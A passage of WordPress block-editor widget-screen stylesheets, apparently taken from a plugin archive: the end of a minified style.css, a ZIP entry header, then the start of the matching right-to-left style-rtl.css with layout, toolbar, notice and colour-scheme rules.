var(--wp-admin-theme-color)}body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{pointer-events:none}.edit-widgets-error-boundary{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;margin:60px auto auto;max-width:780px;padding:20px}.edit-widgets-header{align-items:center;background:#fff;display:flex;height:60px;justify-content:space-between;overflow:auto}@media (min-width:600px){.edit-widgets-header{overflow:visible}}.edit-widgets-header .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{border-right:none}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.edit-widgets-header__navigable-toolbar-wrapper{align-items:center;display:flex;flex-shrink:2;height:60px;justify-content:center;overflow:hidden;padding-left:16px;padding-right:8px}.edit-widgets-header__title{font-size:20px;margin:0 20px 0 0;padding:0}.edit-widgets-header__actions{align-items:center;display:flex;gap:8px;padding-right:4px}@media (min-width:600px){.edit-widgets-header__actions{padding-right:8px}}.edit-widgets-header-toolbar{gap:8px;margin-right:8px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{height:32px;min-width:32px;padding:4px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{background:#1e1e1e}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{display:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:12px;padding-right:12px}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{content:none}@media not (prefers-reduced-motion){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.edit-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.components-panel__header.edit-widgets-sidebar__panel-tabs{padding-left:0}.edit-widgets-widget-areas__top-container{display:flex;padding:16px}.edit-widgets-widget-areas__top-container .block-editor-block-icon{margin-right:16px}.edit-widgets-notices__snackbar{bottom:20px;left:0;padding-left:16px;padding-right:16px;position:fixed;right:0}@media (min-width:783px){.edit-widgets-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-widgets-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-widgets-notices__snackbar{left:160px}}.folded .edit-widgets-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-widgets-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-widgets-notices__snackbar{left:0!important}.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.edit-widgets-layout__inserter-panel{display:flex;flex-direction:column;height:100%}.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{overflow:hidden}.edit-widgets-layout__inserter-panel-content{height:calc(100% - 44px)}.edit-widgets-layout__inserter-panel-content .block-editor-inserter__tablist-and-close{display:none}@media (min-width:782px){.edit-widgets-layout__inserter-panel-content{height:100%}}.components-popover.more-menu-dropdown__content{z-index:99998}.edit-widgets-welcome-guide{width:312px}.edit-widgets-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-widgets-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-widgets-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-widgets-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-widgets-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-widgets-block-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;position:relative}.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{display:flex;flex-direction:column;flex-grow:1}.edit-widgets-block-editor .edit-widgets-main-block-list{height:100%}.edit-widgets-block-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{padding:6px}.edit-widgets-editor__list-view-panel{display:flex;flex-direction:column;height:100%;min-width:350px}.edit-widgets-editor__list-view-panel-content{height:calc(100% - 44px);overflow-y:auto;padding:8px}.edit-widgets-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:16px;padding-right:8px}body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{background:#fff}body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{display:none}body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.blocks-widgets-container{box-sizing:border-box}.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before{box-sizing:inherit}@media (min-width:600px){.blocks-widgets-container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.blocks-widgets-container{min-height:calc(100vh - 32px)}}.blocks-widgets-container .interface-interface-skeleton__content{background-color:#f0f0f0}.blocks-widgets-container .editor-styles-wrapper{margin:auto;max-width:700px}.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{display:none}.js .widgets-php .notice{display:none!important}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[":@]@]dist/edit-widgets/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.interface-complementary-area-header{
  background:#fff;
  gap:4px;
  padding-left:8px;
}
.interface-complementary-area-header .interface-complementary-area-header__title{
  margin:0 0 0 auto;
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
  height:100%;
  overflow:auto;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{
  top:0;
}
.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  font-weight:500;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:10px;
  right:auto;
  top:auto;
}

.interface-complementary-area__fill{
  height:100%;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-right:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  left:0;
  max-height:100%;
  position:fixed;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    right:160px;
  }
}
.folded .interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    right:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  right:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
  position:relative;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  position:absolute;
  right:0;
  top:0;
  width:auto;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
  }
}

.interface-interface-skeleton__sidebar{
  border-top:1px solid #e0e0e0;
  overflow:hidden;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    box-shadow:1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__secondary-sidebar{
  border-top:1px solid #e0e0e0;
  left:0;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar{
    box-shadow:-1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__header{
  box-shadow:0 1px 0 0 rgba(0,0,0,.133);
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  outline:1px solid #0000;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  position:absolute;
  right:0;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-right:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.wp-block[data-type="core/widget-area"]{
  margin-left:auto;
  margin-right:auto;
  max-width:700px;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{
  background:#fff;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  height:48px;
  margin:0;
  position:relative;
  transform:translateZ(0);
  z-index:1;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{
  background:#fff;
}
.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{
  position:relative;
  width:auto;
}
.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{
  max-width:100%;
}
.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{
  padding:0;
}

.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{
  margin:0;
  padding:0;
}
.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{
  margin-top:-48px;
  min-height:32px;
  padding:72px 16px 16px;
}

.wp-block-widget-area__highlight-drop-zone{
  outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color);
}

body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{
  pointer-events:none;
}

.edit-widgets-error-boundary{
  box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  margin:60px auto auto;
  max-width:780px;
  padding:20px;
}

.edit-widgets-header{
  align-items:center;
  background:#fff;
  display:flex;
  height:60px;
  justify-content:space-between;
  overflow:auto;
}
@media (min-width:600px){
  .edit-widgets-header{
    overflow:visible;
  }
}
.edit-widgets-header .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{
  border-left:none;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}

.edit-widgets-header__navigable-toolbar-wrapper{
  align-items:center;
  display:flex;
  flex-shrink:2;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding-left:8px;
  padding-right:16px;
}

.edit-widgets-header__title{
  font-size:20px;
  margin:0 0 0 20px;
  padding:0;
}

.edit-widgets-header__actions{
  align-items:center;
  display:flex;
  gap:8px;
  padding-left:4px;
}
@media (min-width:600px){
  .edit-widgets-header__actions{
    padding-left:8px;
  }
}

.edit-widgets-header-toolbar{
  gap:8px;
  margin-left:8px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{
  height:32px;
  min-width:32px;
  padding:4px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{
  background:#1e1e1e;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{
  display:none;
}

.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
    padding-left:12px;
    padding-right:12px;
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{
  content:none;
}
@media not (prefers-reduced-motion){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{
    transition:transform .2s cubic-bezier(.165, .84, .44, 1);
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{
  transform:rotate(-45deg);
}

.edit-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  margin:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.components-panel__header.edit-widgets-sidebar__panel-tabs{
  padding-right:0;
}

.edit-widgets-widget-areas__top-container{
  display:flex;
  padding:16px;
}
.edit-widgets-widget-areas__top-container .block-editor-block-icon{
  margin-left:16px;
}

.edit-widgets-notices__snackbar{
  bottom:20px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}
@media (min-width:783px){
  .edit-widgets-notices__snackbar{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-widgets-notices__snackbar{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-widgets-notices__snackbar{
    right:160px;
  }
}
.folded .edit-widgets-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .folded .edit-widgets-notices__snackbar{
    right:36px;
  }
}

body.is-fullscreen-mode .edit-widgets-notices__snackbar{
  right:0 !important;
}

.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.edit-widgets-layout__inserter-panel{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{
  overflow:hidden;
}

.edit-widgets-layout__inserter-panel-content{
  height:calc(100% - 44px);
}
.edit-widgets-layout__inserter-panel-content .block-editor-inserter__tablist-and-close{
  display:none;
}
@media (min-width:782px){
  .edit-widgets-layout__inserter-panel-content{
    height:100%;
  }
}

.components-popover.more-menu-dropdown__content{
  z-index:99998;
}

.edit-widgets-welcome-guide{
  width:312px;
}
.edit-widgets-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-widgets-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-widgets-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-widgets-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-widgets-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-widgets-block-editor{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  position:relative;
}
.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{
  display:flex;
  flex-direction:column;
  flex-grow:1;
}
.edit-widgets-block-editor .edit-widgets-main-block-list{
  height:100%;
}
.edit-widgets-block-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
